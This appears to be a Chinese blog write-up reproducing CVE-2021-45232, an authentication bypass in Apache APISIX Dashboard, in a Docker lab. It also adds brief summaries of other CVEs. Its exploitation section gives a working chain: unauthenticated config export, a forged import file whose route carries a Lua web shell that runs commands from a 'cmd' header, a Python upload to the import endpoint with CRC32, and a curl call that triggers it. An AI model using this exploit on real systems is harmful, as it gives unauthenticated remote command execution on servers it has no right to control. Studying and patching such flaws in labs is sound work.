CVE-2021-45232漏洞复现

本文详细介绍了CVE-2021-45232,一个Apache APISIX Dashboard的身份验证绕过漏洞。通过环境搭建、漏洞验证和利用过程的演示,展示了如何利用该漏洞获取配置文件并执行系统命令。同时,文中还提及了在复现过程中遇到的两个问题及其解决办法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.漏洞介绍

编号: CVE-2021-45232
组件: APISIX
漏洞类型: 身份验证绕过
影响: 身份验证绕过
简述: 在2.10.1之前的Apache APISIX Dashboard中,Manager API使用了两个框架,并在框架‘gin’的基础上引入了框架‘droplet’,所有的API和认证中间件都是基于框架‘droplet’开发的,但有些API直接使用框架‘gin’的接口,从而绕过了认证。
版本影响 :
apache: 2.7.0 < APISIX Dashboard< 2.10.1	2.10.1

2.漏洞环境搭建

git clone https://github.com/apache/apisix-docker
cd ./apisix-docker/example

首先,修改该目录下配置项,如图version版本修改为2,apisix-dashboard版本修改为2.8在这里插入图片描述

# 下载并启动环境
docker-compose up -d

接下来进行一些简单配置,模拟实战环境

默认登陆地址:ip:9000
默认用户名密码:admin/admin

切换路由选项,选择创建
在这里插入图片描述
在这里插入图片描述

名字随便起,一会会用到
在这里插入图片描述
目标节点随意,直接下一步
在这里插入图片描述
一路下一步,直接提交即可
在这里插入图片描述
路由界面即可看到我们的配置
在这里插入图片描述

3.漏洞验证

# 直接访问即可
ip:port/apisix/admin/migrate/export

这里出现了配置文件泄漏
在这里插入图片描述
看一下,正是我们刚刚配置的路由,已经泄漏出来
在这里插入图片描述

4 漏洞利用

主要利用过程就是在接口路由中执行一个扩展脚本 , 通过他执行系统命令。
这里先手动测试一下。
在这里插入图片描述
注意这里的的配置文件是可以修改的,script直接加上就行
在这里插入图片描述
然后进行访问http://ip:9000/test。(test就是上面创建的路由名称)
进入容器查看:这里注意的是。最终脚本执行不是在9000端口的容器里,而是在管理的apache/apisix 的 9080端口的容器里如图
在这里插入图片描述
在这里插入图片描述

OK,接下来就是如何在创建一个含恶意脚本的路由配置
这里用到了dashboard导入配置
根据emport导出的配置伪造一个配置文件

eval_config = {
    "Consumers": [],
    "Routes": [
        {
            "id": str(random.randint(100000000000000000, 1000000000000000000)),
            "create_time": 1641259840,
            "update_time": 1641260783,
            "uri": "/evil",
            "name": "evil",
            "methods": ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"],
            "script":"local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
            "upstream":
            {
                "nodes":
                [{"host": "1.1.1.1", "port": 8080, "weight": 1}],
                "timeout": {"connect": 6, "send": 6, "read": 6},
                "type": "roundrobin",
                "scheme": "http",
                "pass_host": "pass",
                "keepalive_pool": {"idle_timeout": 60, "requests": 1000, "size": 320}
            },
            "status": 1
        }
    ],
    "Services": [],
    "SSLs": [],
    "Upstreams": [],
    "Scripts": [],
    "GlobalPlugins": [],
    "PluginConfigs": []
}

# POST传递数据:
# 注意需要添加CRC32校验位
    files = {"file": ("data", data + crc32, "text/data")}
    resp = requests.post(url + "/apisix/admin/migrate/import", files=files)

直接攻击:

curl http://ip:port/evil -H cmd:ls

如图攻击成功
在这里插入图片描述

5.遇到的问题

5.1 apisix-dashboard报错:The manager-api and apache apisix are mismatched.

似乎是dashboard2.7版本与最新版apache apisix不兼容导致的,把dashboard改为2.7以上版本就好了,在这里我改为了2.8版本

5.2 apisix-dashboard一直转圈

在这里插入图片描述

刷新即可,千万不要在哪傻傻的等,(っ °Д °;)っ
参考文章

### CVE-2021系列漏洞复现实例 #### CVE-2021-34429 Jetty WEB-INF文件读取漏洞复现 对于Jetty服务器中的CVE-2021-34429漏洞,该缺陷允许攻击者通过特定路径访问受保护的WEB-INF目录下的资源。为了验证此安全问题的存在,在实验环境中启动了受影响版本的服务,并利用浏览器尝试获取敏感配置文件。 当部署好存在漏洞的应用程序之后,可以通过如下URL请求查看是否存在未授权的信息泄露情况: ``` http://<target-ip>:8080/ ``` 其中`<target-ip>`应替换为目标机器的实际IP地址[^1]。 一旦成功连接到服务端口并正确构建查询字符串,则可能返回不应该公开的内容片段,证明了潜在的安全风险确实存在于当前设置之中。 停止测试环境的操作命令为`docker-compose down`以便清理所有关联容器及其网络结构。 ```bash docker-compose down ``` #### CVE-2021-31805 Struts2 OGNL注入漏洞(S2-062) 针对Struts框架里的CVE-2021-31805即S2-062事件,它涉及到了恶意OGNL表达式的执行能力,从而实现远程代码控制的目的。要重现这一现象,通常会构造特殊的HTTP参数提交给易受攻击的应用接口,这些参数包含了精心设计过的脚本逻辑用于突破默认防护机制。 例如,可以向应用程序发送带有特殊构造的数据包,触发后台解析过程中存在的弱点,进而达到任意指令下发的效果。具体操作方式依赖于目标平台的具体实现细节以及所使用的组件库版本号等因素影响下而有所不同[^2]。 #### WebLogic CVE-2021-2394 反序列化RCE漏洞 关于Oracle WebLogic Server内的CVE-2021-2394问题,这是一种基于Java对象流处理不当引发的远程命令执行隐患。由于其内部某些功能模块未能充分校验外部输入数据的有效性和安全性,使得经过特别编码后的二进制串能够在未经适当审查的情况下被加载运行,最终造成不受限权限滥用的可能性增加。 这种类型的攻击往往涉及到复杂的技术手段组合应用,比如结合其他已知漏洞形成更强大的穿透力;同时也要注意官方给出的各种修复建议和补丁更新信息,及时采取措施防止此类威胁扩散蔓延开来[^3]。
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值